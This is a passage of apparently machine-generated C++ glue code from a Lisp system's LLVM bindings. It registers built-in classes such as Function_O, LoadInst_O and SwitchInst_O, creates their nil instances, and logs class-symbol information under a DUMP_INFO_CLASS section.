classllvmo__ConstantDataArray_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ConstantDataArray_Oval,_lisp,llvmo::ConstantDataArray_O::static_classSymbol());\n    llvmo::ConstantDataArray_O::___staticMetaClass = classllvmo__ConstantDataArray_Oval;\n    _lisp->setf_findClass(llvmo::ConstantDataArray_O::static_classSymbol(),classllvmo__ConstantDataArray_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ConstantDataArray_O>;\n        llvmo::ConstantDataArray_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ConstantDataArray_O::static_className() % (void*)(llvmo::ConstantDataArray_O::static_newNil_callback()) );\n    classllvmo__ConstantDataArray_Oval->setInstance_newNil_callback(llvmo::ConstantDataArray_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ConstantDataArray_O> nil_for_class(new llvmo::ConstantDataArray_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ConstantDataArray_O::static_className() );\n        llvmo::ConstantDataArray_O::_nil = nil_for_class;\n        classllvmo__ConstantDataArray_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ConstantDataArray_Oval->setSupportsSlots(llvmo::ConstantDataArray_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Function_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Function_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Function_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Function_Oval,_lisp,llvmo::Function_O::static_classSymbol());\n    llvmo::Function_O::___staticMetaClass = classllvmo__Function_Oval;\n    _lisp->setf_findClass(llvmo::Function_O::static_classSymbol(),classllvmo__Function_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Function_O>;\n        llvmo::Function_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Function_O::static_className() % (void*)(llvmo::Function_O::static_newNil_callback()) );\n    classllvmo__Function_Oval->setInstance_newNil_callback(llvmo::Function_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Function_O> nil_for_class(new llvmo::Function_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Function_O::static_className() );\n        llvmo::Function_O::_nil = nil_for_class;\n        classllvmo__Function_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Function_Oval->setSupportsSlots(llvmo::Function_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__GlobalVariable_Oval]\"));\n    core::BuiltInClass_sp classllvmo__GlobalVariable_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__GlobalVariable_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__GlobalVariable_Oval,_lisp,llvmo::GlobalVariable_O::static_classSymbol());\n    llvmo::GlobalVariable_O::___staticMetaClass = classllvmo__GlobalVariable_Oval;\n    _lisp->setf_findClass(llvmo::GlobalVariable_O::static_classSymbol(),classllvmo__GlobalVariable_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::GlobalVariable_O>;\n        llvmo::GlobalVariable_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::GlobalVariable_O::static_className() % (void*)(llvmo::GlobalVariable_O::static_newNil_callback()) );\n    classllvmo__GlobalVariable_Oval->setInstance_newNil_callback(llvmo::GlobalVariable_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::GlobalVariable_O> nil_for_class(new llvmo::GlobalVariable_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::GlobalVariable_O::static_className() );\n        llvmo::GlobalVariable_O::_nil = nil_for_class;\n        classllvmo__GlobalVariable_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__GlobalVariable_Oval->setSupportsSlots(llvmo::GlobalVariable_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__IndirectBrInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__IndirectBrInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__IndirectBrInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__IndirectBrInst_Oval,_lisp,llvmo::IndirectBrInst_O::static_classSymbol());\n    llvmo::IndirectBrInst_O::___staticMetaClass = classllvmo__IndirectBrInst_Oval;\n    _lisp->setf_findClass(llvmo::IndirectBrInst_O::static_classSymbol(),classllvmo__IndirectBrInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::IndirectBrInst_O>;\n        llvmo::IndirectBrInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::IndirectBrInst_O::static_className() % (void*)(llvmo::IndirectBrInst_O::static_newNil_callback()) );\n    classllvmo__IndirectBrInst_Oval->setInstance_newNil_callback(llvmo::IndirectBrInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::IndirectBrInst_O> nil_for_class(new llvmo::IndirectBrInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::IndirectBrInst_O::static_className() );\n        llvmo::IndirectBrInst_O::_nil = nil_for_class;\n        classllvmo__IndirectBrInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__IndirectBrInst_Oval->setSupportsSlots(llvmo::IndirectBrInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__InvokeInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__InvokeInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__InvokeInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__InvokeInst_Oval,_lisp,llvmo::InvokeInst_O::static_classSymbol());\n    llvmo::InvokeInst_O::___staticMetaClass = classllvmo__InvokeInst_Oval;\n    _lisp->setf_findClass(llvmo::InvokeInst_O::static_classSymbol(),classllvmo__InvokeInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::InvokeInst_O>;\n        llvmo::InvokeInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::InvokeInst_O::static_className() % (void*)(llvmo::InvokeInst_O::static_newNil_callback()) );\n    classllvmo__InvokeInst_Oval->setInstance_newNil_callback(llvmo::InvokeInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::InvokeInst_O> nil_for_class(new llvmo::InvokeInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::InvokeInst_O::static_className() );\n        llvmo::InvokeInst_O::_nil = nil_for_class;\n        classllvmo__InvokeInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__InvokeInst_Oval->setSupportsSlots(llvmo::InvokeInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__LoadInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__LoadInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__LoadInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__LoadInst_Oval,_lisp,llvmo::LoadInst_O::static_classSymbol());\n    llvmo::LoadInst_O::___staticMetaClass = classllvmo__LoadInst_Oval;\n    _lisp->setf_findClass(llvmo::LoadInst_O::static_classSymbol(),classllvmo__LoadInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::LoadInst_O>;\n        llvmo::LoadInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::LoadInst_O::static_className() % (void*)(llvmo::LoadInst_O::static_newNil_callback()) );\n    classllvmo__LoadInst_Oval->setInstance_newNil_callback(llvmo::LoadInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::LoadInst_O> nil_for_class(new llvmo::LoadInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::LoadInst_O::static_className() );\n        llvmo::LoadInst_O::_nil = nil_for_class;\n        classllvmo__LoadInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__LoadInst_Oval->setSupportsSlots(llvmo::LoadInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ResumeInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ResumeInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ResumeInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ResumeInst_Oval,_lisp,llvmo::ResumeInst_O::static_classSymbol());\n    llvmo::ResumeInst_O::___staticMetaClass = classllvmo__ResumeInst_Oval;\n    _lisp->setf_findClass(llvmo::ResumeInst_O::static_classSymbol(),classllvmo__ResumeInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ResumeInst_O>;\n        llvmo::ResumeInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ResumeInst_O::static_className() % (void*)(llvmo::ResumeInst_O::static_newNil_callback()) );\n    classllvmo__ResumeInst_Oval->setInstance_newNil_callback(llvmo::ResumeInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ResumeInst_O> nil_for_class(new llvmo::ResumeInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ResumeInst_O::static_className() );\n        llvmo::ResumeInst_O::_nil = nil_for_class;\n        classllvmo__ResumeInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ResumeInst_Oval->setSupportsSlots(llvmo::ResumeInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ReturnInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ReturnInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ReturnInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ReturnInst_Oval,_lisp,llvmo::ReturnInst_O::static_classSymbol());\n    llvmo::ReturnInst_O::___staticMetaClass = classllvmo__ReturnInst_Oval;\n    _lisp->setf_findClass(llvmo::ReturnInst_O::static_classSymbol(),classllvmo__ReturnInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ReturnInst_O>;\n        llvmo::ReturnInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ReturnInst_O::static_className() % (void*)(llvmo::ReturnInst_O::static_newNil_callback()) );\n    classllvmo__ReturnInst_Oval->setInstance_newNil_callback(llvmo::ReturnInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ReturnInst_O> nil_for_class(new llvmo::ReturnInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ReturnInst_O::static_className() );\n        llvmo::ReturnInst_O::_nil = nil_for_class;\n        classllvmo__ReturnInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ReturnInst_Oval->setSupportsSlots(llvmo::ReturnInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__SwitchInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__SwitchInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__SwitchInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__SwitchInst_Oval,_lisp,llvmo::SwitchInst_O::static_classSymbol());\n    llvmo::SwitchInst_O::___staticMetaClass = classllvmo__SwitchInst_Oval;\n    _lisp->setf_findClass(llvmo::SwitchInst_O::static_classSymbol(),classllvmo__SwitchInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::SwitchInst_O>;\n        llvmo::SwitchInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::SwitchInst_O::static_className() % (void*)(llvmo::SwitchInst_O::static_newNil_callback()) );\n    classllvmo__SwitchInst_Oval->setInstance_newNil_callback(llvmo::SwitchInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::SwitchInst_O> nil_for_class(new llvmo::SwitchInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::SwitchInst_O::static_className() );\n        llvmo::SwitchInst_O::_nil = nil_for_class;\n        classllvmo__SwitchInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__SwitchInst_Oval->setSupportsSlots(llvmo::SwitchInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__UnreachableInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__UnreachableInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__UnreachableInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__UnreachableInst_Oval,_lisp,llvmo::UnreachableInst_O::static_classSymbol());\n    llvmo::UnreachableInst_O::___staticMetaClass = classllvmo__UnreachableInst_Oval;\n    _lisp->setf_findClass(llvmo::UnreachableInst_O::static_classSymbol(),classllvmo__UnreachableInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::UnreachableInst_O>;\n        llvmo::UnreachableInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::UnreachableInst_O::static_className() % (void*)(llvmo::UnreachableInst_O::static_newNil_callback()) );\n    classllvmo__UnreachableInst_Oval->setInstance_newNil_callback(llvmo::UnreachableInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::UnreachableInst_O> nil_for_class(new llvmo::UnreachableInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::UnreachableInst_O::static_className() );\n        llvmo::UnreachableInst_O::_nil = nil_for_class;\n        classllvmo__UnreachableInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__UnreachableInst_Oval->setSupportsSlots(llvmo::UnreachableInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__VAArgInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__VAArgInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__VAArgInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__VAArgInst_Oval,_lisp,llvmo::VAArgInst_O::static_classSymbol());\n    llvmo::VAArgInst_O::___staticMetaClass = classllvmo__VAArgInst_Oval;\n    _lisp->setf_findClass(llvmo::VAArgInst_O::static_classSymbol(),classllvmo__VAArgInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::VAArgInst_O>;\n        llvmo::VAArgInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::VAArgInst_O::static_className() % (void*)(llvmo::VAArgInst_O::static_newNil_callback()) );\n    classllvmo__VAArgInst_Oval->setInstance_newNil_callback(llvmo::VAArgInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::VAArgInst_O> nil_for_class(new llvmo::VAArgInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::VAArgInst_O::static_className() );\n        llvmo::VAArgInst_O::_nil = nil_for_class;\n        classllvmo__VAArgInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__VAArgInst_Oval->setSupportsSlots(llvmo::VAArgInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n#endif // CREATE_CLASS\n#undef CREATE_CLASS\n#ifdef DUMP_INFO_CLASS // {\n// Depends on nothing\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::APFloat_O @ %X\") % classllvmo__APFloat_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::APFloat_O::static_className() % llvmo::APFloat_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::APInt_O @ %X\") % classllvmo__APInt_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::APInt_O::static_className() % llvmo::APInt_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Attribute_O @ %X\") % classllvmo__Attribute_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Attribute_O::static_className() % llvmo::Attribute_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Builder_O @ %X\") % classllvmo__Builder_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Builder_O::static_className() % llvmo::Builder_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::DebugLoc_O @ %X\") % classllvmo__DebugLoc_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::DebugLoc_O::static_className() % llvmo::DebugLoc_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::EngineBuilder_O @ %X\") % classllvmo__EngineBuilder_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::EngineBuilder_O::static_className() % llvmo::EngineBuilder_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ExecutionEngine_O @ %X\") % classllvmo__ExecutionEngine_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ExecutionEngine_O::static_className() % llvmo::ExecutionEngine_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::IRBuilderBase_O @ %X\") % classllvmo__IRBuilderBase_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::IRBuilderBase_O::static_className() % llvmo::IRBuilderBase_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::InsertPoint_O @ %X\") % classllvmo__InsertPoint_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::InsertPoint_O::static_className() % llvmo::InsertPoint_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::LLVMContext_O @ %X\") % classllvmo__LLVMContext_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::LLVMContext_O::static_className() % llvmo::LLVMContext_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Module_O @ %X\") % classllvmo__Module_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Module_O::static_className() % llvmo::Module_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::PassManagerBase_O @ %X\") % classllvmo__PassManagerBase_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::PassManagerBase_O::static_className() % llvmo::PassManagerBase_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Pass_O @ %X\") % classllvmo__Pass_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Pass_O::static_className() % llvmo::Pass_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Type_O @ %X\") % classllvmo__Type_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Type_O::static_className() % llvmo::Type_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Value_O @ %X\") % classllvmo__Value_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Value_O::static_className() % llvmo::Value_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Argument_O @ %X\") % classllvmo__Argument_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Argument_O::static_className() % llvmo::Argument_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::BasicBlock_O @ %X\") % classllvmo__BasicBlock_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::BasicBlock_O::static_className() % llvmo::BasicBlock_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::CompositeType_O @ %X\") % classllvmo__CompositeType_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::CompositeType_O::static_className() % llvmo::CompositeType_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::FunctionPassManager_O @ %X\") % classllvmo__FunctionPassManager_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::FunctionPassManager_O::static_className() % llvmo::FunctionPassManager_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::FunctionPass_O @ %X\") % classllvmo__FunctionPass_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::FunctionPass_O::static_className() % llvmo::FunctionPass_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::FunctionType_O @ %X\") % classllvmo__FunctionType_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::FunctionType_O::static_className() % llvmo::FunctionType_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::IRBuilder_O @ %X\") % classllvmo__IRBuilder_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::IRBuilder_O::static_className() % llvmo::IRBuilder_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::IntegerType_O @ %X\") % classllvmo__IntegerType_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::IntegerType_O::static_className() % llvmo::IntegerType_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::MDNode_O @ %X\") % classllvmo__MDNode_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::MDNode_O::static_className() % llvmo::MDNode_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::MDString_O @ %X\") % classllvmo__MDString_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::MDString_O::static_className() % llvmo::MDString_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ModulePass_O @ %X\") % classllvmo__ModulePass_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ModulePass_O::static_className() % llvmo::ModulePass_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::User_O @ %X\") % classllvmo__User_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::User_O::static_className() % llvmo::User_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Constant_O @ %X\") % classllvmo__Constant_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Constant_O::static_className() % llvmo::Constant_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ImmutablePass_O @ %X\") % classllvmo__ImmutablePass_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ImmutablePass_O::static_className() % llvmo::ImmutablePass_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Instruction_O @ %X\") % classllvmo__Instruction_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Instruction_O::static_className() % llvmo::Instruction_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::SequentialType_O @ %X\") % classllvmo__SequentialType_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::SequentialType_O::static_className() % llvmo::SequentialType_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::StructType_O @ %X\") % classllvmo__StructType_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::StructType_O::static_className() % llvmo::StructType_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ArrayType_O @ %X\") % classllvmo__ArrayType_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ArrayType_O::static_className() % llvmo::ArrayType_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::AtomicCmpXchgInst_O @ %X\") % classllvmo__AtomicCmpXchgInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::AtomicCmpXchgInst_O::static_className() % llvmo::AtomicCmpXchgInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::AtomicRMWInst_O @ %X\") % classllvmo__AtomicRMWInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::AtomicRMWInst_O::static_className() % llvmo::AtomicRMWInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::CallInst_O @ %X\") % classllvmo__CallInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::CallInst_O::static_className() % llvmo::CallInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ConstantArray_O @ %X\") % classllvmo__ConstantArray_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ConstantArray_O::static_className() % llvmo::ConstantArray_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ConstantDataSequential_O @ %X\") % classllvmo__ConstantDataSequential_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ConstantDataSequential_O::static_className() % llvmo::ConstantDataSequential_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ConstantExpr_O @ %X\") % classllvmo__ConstantExpr_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ConstantExpr_O::static_className() % llvmo::ConstantExpr_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ConstantFP_O @ %X\") % classllvmo__ConstantFP_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ConstantFP_O::static_className() % llvmo::ConstantFP_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ConstantInt_O @ %X\") % classllvmo__ConstantInt_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ConstantInt_O::static_className() % llvmo::ConstantInt_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ConstantPointerNull_O @ %X\") % classllvmo__ConstantPointerNull_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ConstantPointerNull_O::static_className() % llvmo::ConstantPointerNull_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::DataLayout_O @ %X\") % classllvmo__DataLayout_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::DataLayout_O::static_className() % llvmo::DataLayout_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::FenceInst_O @ %X\") % classllvmo__FenceInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::FenceInst_O::static_className() % llvmo::FenceInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::GlobalValue_O @ %X\") % classllvmo__GlobalValue_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::GlobalValue_O::static_className() % llvmo::GlobalValue_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::LandingPadInst_O @ %X\") % classllvmo__LandingPadInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::LandingPadInst_O::static_className() % llvmo::LandingPadInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::PHINode_O @ %X\") % classllvmo__PHINode_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::PHINode_O::static_className() % llvmo::PHINode_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::PointerType_O @ %X\") % classllvmo__PointerType_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::PointerType_O::static_className() % llvmo::PointerType_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: 